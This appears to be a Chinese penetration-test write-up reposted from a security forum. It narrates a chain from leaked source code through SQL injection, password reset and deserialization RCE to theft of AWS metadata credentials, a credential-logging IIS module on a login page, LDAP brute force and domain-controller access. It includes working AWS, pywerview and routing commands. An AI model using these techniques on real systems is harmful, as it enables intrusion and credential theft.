长亭百川云 - 文章详情

一次取巧的渗透经历

T00ls安全

91

2024-07-15

文章重码,技术含量极低,运气含量极高。

在2023年5月份的时候搜集过一次这个目标的资产,无奈没有任何操作空间。

在2023年12月份再次来看这个目标的时候,发现github上有一份源码泄露,时间是六月份之前上传的,只能说是第一次看的时候缘分还不到啊。(渗透结束后github上的源码也被删除了,运气真是好)。

此案例为12月份我个人认为比较有趣的项目,将该案例分享给大家。

此次的渗透就以源码泄露为起点。

入口点

找到泄露源码后在公网上找到了对应的web系统,但据观察只是同源码站,而不是目标的源码,从fofa上捞了相同的资产,确定源码有出入,省略有出入的部分,直接从目标的漏洞点开始。


代码审计 & 漏洞分析

一串操作实际上就是:SQL注入非ldap用户的用户名 --> 任意密码重置 --> 反序列化RCE

SQL注入

对应方法实现如下:

直接SQL注入拼接,闭合括号可进行联合注入。

任意用户密码重置

实现类在ForgotPasswordNew
,看到入口类

这里的Mession.clsParam.GetValue("Active")
就是判断Active参数是否为空,不为空则将数据解密提取其中的用户名和密码,最后传入到忘记密码的逻辑中。

然后调用ForgottenPassword
方法重置用户名密码,实现如下

这里最终调用UMS_****_ResetPass
存储过程执行SQL实现用户密码修改,并且用户名和密码均可控,能够实现任意用户密码修改进入后台。

RCE反序列化

对应的实现类在Editpage
中,同时继承了CustomPage

追溯到CustomPage
,可以看到LoadPageStateFromPersistenceMedium
方法中有着很明显的反序列化逻辑。

获取__CUSTOMVIEWSTATE
参数,解码解压缩之后进行反序列化,那么看看解压缩的实现

在ViewStateCompressor
类,该类提供了两个方法即压缩/解压缩

构造POC直接用CompressViewState
方法就行,回到上面的处理逻辑最后通过LosFormatter
反序列化为任意类型,直接用yso的链子就行。


漏洞利用

sql注入

任意用户密码重置

RCE反序列化

到这就是上线写shell咔咔一通操作。

因为登录可以使用ldap认证登录,本以为getshell之后便能进内网,没想到还是太乐观了,不过这台机器的确是通一些公网做了限制的资产。

信息进一步收集及思路整理

getshell之后对web系统进行了一些信息收集,发现的确是通ldap,但不是直接通,走了一层web代理再进行的ldap连通。

这里能看出来 api_username
 及 api_password
大概率不是ldap的用户,仅仅只是这个接口的认证用户而已。

查看数据库,ldap用户基本上都没有密码,是的,基本上。那就代表之前可能没有走ldap认证,ldap认证是后加的,但是这也给我们提供了一些常用的密码及历史密码,那就可以进行密码的爆破。

确定带有密文且现在为ldap认证的用户

这里可以看出password是加密的

ok,那目前需要做的事为:

  • • 收集ldap用户名

  • • 密码解密

  • • 爆破

密码解密这部分就不过多赘述。

爆破最后选择的是其他接口,因为有这台机器,一些公网不能访问的资产也可以访问到,其中就包括sso,不过说来也奇怪,这个sso也仅仅只做认证校验,而没有其他任何的功能。

LDAP用户名

共计271个,还算不错

爆破

运气不错,爆破出了一个账号。

这里我就要解释一下,为什么不用之前的api接口,因为在查看代码的时候,发现了该接口需要提供一个正确的用户账号密码,但为了保证爆破不存在误差,所以选择了其他接口。

不过在api的接口中发现了一个很有意思的参数SearchUserInfomation
,照字面意思应该是可以搜索用户信息,如果可以带上通配符或者它是模糊查询,那理论上就可以将全部用户down出来。

构造接口说干就干。

查询测试

当我们输入字符串aa
时,有一个结果为caav
,那就代表该接口可以模糊查询。

那我们将26个英文字母的所有两个字母的组合跑一遍,即可获取到非一位字母及非纯数字用户的所有用户的信息。

去重之后最终的结果是13075
个用户信息,且百分百准确。

然后用这些用户再去跑一遍弱口令,加上之前的一个也仅仅只获得了5个正确的用户账号密码。

到这里实际上还没进域,且还离得很远。


AWS云渗透

做了上述的操作之后,转头回来看看机器。

现在可以确定的是该机器非域内用户且是aws云机器,那么就往云上靠靠。

云的信息收集

关于云的机器,我平常只关心两个信息点

1. http://169.254.169.254/latest/user-data  
2. http://169.254.169.254/latest/meta-data/iam/security-credentials

user-data
在我的理解中是用户数据脚本,当机器开机时会读取用户数据脚本中的命令并执行。

看看目标的user-data

是的,中奖了,可以获取某个administrators组用户的密码,但是前提条件是要有一个accesskey能访问到arn:aws:secretsmanager

接下来看看关于accesskey的操作。

在云机器中

http://169.254.169.254/latest/meta-data/iam/security-credentials

该链接下可能会存在临时token
,而临时token
的权限大小也是由管理员把控的,且临时token
是否可以使用也完全是运气成分。

获取临时token

临时token的使用

我这里选择的是AWSPowerShell

# 导入模块  
1. Remove-AWSCredentialProfile -ProfileName test  
# 导入临时token  
2. Set-AWSCredentials -AccessKey AccessKey -SecretKey SecretKey  -SessionToken ISessionToken -StoreAs test  
# 设置token的区域  
3. Initialize-AWSDefaultConfiguration -ProfileName test -Region ap-southeast-1  
## 验证token是否有效  
4. Get-STSCallerIdentity

这里验证key是有效的,那么就来生成下刚刚user-data
中的密码

完全没问题。

现在的话就是利用密码复用拿下更多的机器,但是我们有token,如果权限足的情况下是可以直接列出机器信息的。

这里附上我修改的ps1代码,原版来自于网上:

$ec2List = Get-EC2Instance -Filter @{'name'='instance-state-name';'values'='running'}   
  
$ec2DetailsList = $ec2List.Instances | ForEach-Object {  
    $properties = [ordered]@{  
        Name           = ($_ | Select-Object -ExpandProperty tags | Where-Object -Property Key -eq Name).value  
        InstanceID     = $_.InstanceId  
        PrivateIP       = $_.PrivateIpAddress  
        PublicIp        = $_.PublicIpAddress  
        Platform        = $_.Platform  
        KeyName         = $_.KeyName  
        SecurityGroups  = ($_.SecurityGroups.groupname -join " | ")  
        SubnetId        = $_.SubnetId  
        InstanceType    = $_.InstanceType  
        AmiID           = $_.ImageID  
        ImageName       = (Get-EC2Image -ImageId $_.ImageID).Name  
    }  
    New-Object -TypeName PSObject -Property $properties  
}  
  
$ec2DetailsList | Sort-Object -Property ImageName | Export-Csv -Path C:\Users\ADMIN\Desktop\Ec2DetailList.csv -NoTypeInformation

获取到内网ip之后本来是想要直接横向命令执行的,但探测了端口之后都没有开,那就继续看看网络安全组的策略

这里也附上代码,同样这个也是有权限的要求的:

function Get-EC2SecurityGroupDetails {  
    $securityGroups = Get-EC2SecurityGroup  
  
    foreach ($securityGroup in $securityGroups) {  
        $securityGroup.IpPermissions | ForEach-Object {  
            [PSCustomObject]@{  
                GroupName   = $securityGroup.GroupName  
          GroupId = $securityGroup.GroupId  
                IpProtocol  = $_.IpProtocol  
                FromPort    = $_.FromPort  
                ToPort  = $_.ToPort  
                Ipv4Ranges  = $_.Ipv4Ranges.CidrIp -join ', '  
            }  
        }  
    }  
}  
  
Get-EC2SecurityGroupDetails | Sort-Object -Property GroupName | Export-Csv -Path "C:\Users\ADMIN\Desktop\EC2SecurityGroupDetails.csv" -NoTypeInformation

管理员的确做了很严格的限制,那接下来的操作应该就是修改安全组,开放我们想要的端口(图中的3389是不对任何一台机器开放,只对自己开放的)

无奈到了这步之后我的权限就不太够用了,说实话我也没有太多的思路对aws进行操作了。

这里也附上修改策略组的命令:

# 添加  
1. Grant-EC2SecurityGroupIngress -GroupId 'GroupId' -IpPermission @{IpProtocol="tcp"; FromPort="5985"; ToPort="5985"; IpRanges="0.0.0.0/0"}  
# 撤销  
2. Revoke-EC2SecurityGroupIngress -GroupId 'GroupId' -IpPermission @{IpProtocol="tcp"; FromPort="5985"; ToPort="5985"; IpRanges="0.0.0.0/0"}

这里需要特别注意的是,同一个端口在aws可以设置多次,如果你要修改的端口已经做了强限制,例如只允许本机连接,我建议是开放其他可以操作的端口。

非常戏剧性的是,我在fofa捞相同资产的时候,发现了一个界面很相似的别家公司的同套web系统,我打下之后发现是和目标的这个aws连通的,包括 aws 临时token列出来的机器,由此可以猜测该web系统是由供应商统一部署
的,实际上控了别的机器没啥意义,有趣的是这家供应商我在之前也打过,本来觉得没啥用,但白白浪费了我半天时间,等有空了我必把这个供应商给扬了。


柳暗花明又一村

到这实在实在没办法了,再整理一下思路。

尽可能多的收集资产

  • • 利用web钓鱼

  • • 没到万不得已的地步暂时不打算考虑启用钓鱼的方案。

那就再收集更多的东西,这里我的处理方案是:在登录口记录账号密码,利用收集到的账号密码尝试登陆VPN。

程序封装在dll里,懒,不想改。顺手写了个指定页面过滤指定传参内容的IIS模块,具体就不说了,网上都有。

第二天收集到了将近30个用户,也顺利的搞到了VPN的账号密码

被分配到了172.16.*的C段

DNS给的是172.30.*的C段,尝试该DNS服务器是否是DC

boom!!!中奖!!!

目前掌握域的账号密码,已经可以连通DC的389、88端口,那么可以做更多的尝试。

先把完整LDAP的信息导出,用ADExplorer.exe
或其他工具,我这里使用的是pywerview
,这里把命令给出来

# 获取全部用户信息  
pywerview get-netuser -w DOMAIN -u USER -p PWD --dc-ip DCIP  > netuser.target.txt  
# 获取admincount=1的用户  
pywerview get-netuser -w DOMAIN -u USER -p PWD --dc-ip DCIP --admin-count > netuser.target.txt  
# 获取全部机器信息  
pywerview get-netcomputer -w DOMAIN -u USER -p PWD --dc-ip DCIP --full-data > netuser.target.txt  
# 获取其他信息可自行查看,这里只列出部分命令

探测各种域漏洞....不过都不存在什么漏洞,不过这里我要讲一下关于adcs的坑。

因为我的环境是新装的,使用adcs的工具certipy遇到了各种奇奇怪怪的问题,这里我列出来一下,各位有遇到的可参考。

首先遇到的问题是

ldap3.core.exceptions.LDAPSocketOpenError: socket ssl wrapping error: [Errno 104] Connection reset by peer

网上查了各种文章,最后的解决方案是:

# vim /etc/ssl/openssl.cnf  
# openssl_conf = default_conf  
# 在最后添加  
[ default_conf ]  
ssl_conf = ssl_sect  
[ssl_sect]  
system_default = ssl_default_sect  
[ssl_default_sect]  
MinProtocol = TLSv1  
CipherString = DEFAULT:@SECLEVEL=1  
  
# 参考文章 https://takraw-s.medium.com/fix-errors-socket-ssl-wrapping-error-errno-104-connection-reset-by-peer-9c63c551cd7

遇到的第二个问题是

[-] Got error: unsupported hash type MD4

解决方案是:

pip3 install pycryptodome --break-system-packages

好不容易跑起来,又遇到了一个问题

AttributeError: module 'enum' has no attribute '_decompose'

这里的解决方案是:

将_decompose函数添加回/usr/lib/python3.11/enum.py中(这里路径可能不相同,我使用的是kali)  
  
def _decompose(flag, value):  
    """  
    Extract all members from the value.  
    """  
    # _decompose is only called if the value is not named  
    not_covered = value  
    negative = value < 0  
    members = []  
    for member in flag:  
        member_value = member.value  
        if member_value and member_value & value == member_value:  
            members.append(member)  
            not_covered &= ~member_value  
    if not negative:  
        tmp = not_covered  
        while tmp:  
            flag_value = 2 ** _high_bit(tmp)  
            if flag_value in flag._value2member_map_:  
                members.append(flag._value2member_map_[flag_value])  
                not_covered &= ~flag_value  
            tmp &= ~flag_value  
    if not members and value in flag._value2member_map_:  
        members.append(flag._value2member_map_[value])  
    members.sort(key=lambda m: m._value_, reverse=True)  
    if len(members) > 1 and members[0].value == value:  
        # we have the breakdown, don't need the value member itself  
        members.pop(0)  
    return members, not_covered  
  
#参考文章:https://github.com/ly4k/Certipy/issues/108

不过这个问题只会在python3.11上遇到。

不存在域漏洞,那么怎么办呢?继续看机器。

但是经过测试,VPN只能通同网段DC,不同其他网段的DC且不通其他任何一台机器,应该是做了限制。到这又陷入了僵局。

只能继续看看别的资产,记录web的账号密码,万一能记录到域管的密码呢?也说不准。

草草收场

是的,这个标题,预示着web系统记录到了域管的账号密码。

使用impacket包
的tstool
列出机器进程(kali自带的impacket没有这个脚本,自己自行安装):

python3 tstool.py domain/user:pass@host tasklist

Trellix
,麦咖啡与火眼的新产品,平民产品,没有火眼那么牛逼,那就可以直接命令执行。这里使用的是wmiexec-Pro
,直接探测DC是否出网(如果不是气急败坏一般不建议这样做)

运气不是一般好,DC也出网....

到这基本上整个渗透就结束啦,虽然看着篇幅很短不过的确做了非常多的尝试,下面还有一些VPN环境下渗透的小Tips...

VPN环境下的渗透

目标VPN产品Global Protect
在linux连接上有个坑,具体原因不知,不过最后是找到了解决方案:

sudo openconnect --protocol=gp url --os=win

其实有了VPN权限之后渗透会轻松很多,但也会遇到和我同样的情况,ACL的限制导致只能通DC的一些端口,但这是VPN本身的限制,但是如果我们自行添加网段呢?

上面重码,导致看不到DC IP的C段,DC IP段为:172.30.81.1/24。

着重关注LDAP信息中的MIS、IT等机器,尽可能收集多的IP段,以这个目标为例,我们收集到了172.30.80.1/24为目标的MIS、IT常用段,添加网段:

# windows  
route add 172.30.80.0 MASK 255.255.255.0 172.30.81.32  
route delete 172.30.80.0 MASK 255.255.255.0 172.30.81.32  
  
# linux  
route add -net 172.30.80.0 gw 172.30.81.32 netmask 255.255.255.0  
route delete -net 172.30.80.0 gw 172.30.81.32 netmask 255.255.255.0

添加了之后会发生什么呢?具体请看图:

是的,能扫描更多的信息了。

如果web系统没记录到密码呢?下步的操作应该就是图中的PMP系统了,探测了一下的确是存在漏洞的。

不过一切都结束了,这个项目到目前耗费了将近一周的时间,接下来就到了资产分析以及找我们想要的东西的环节了,这里就不赘述了。

原文连接

https://www.t00ls.com/articles-70883.html

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2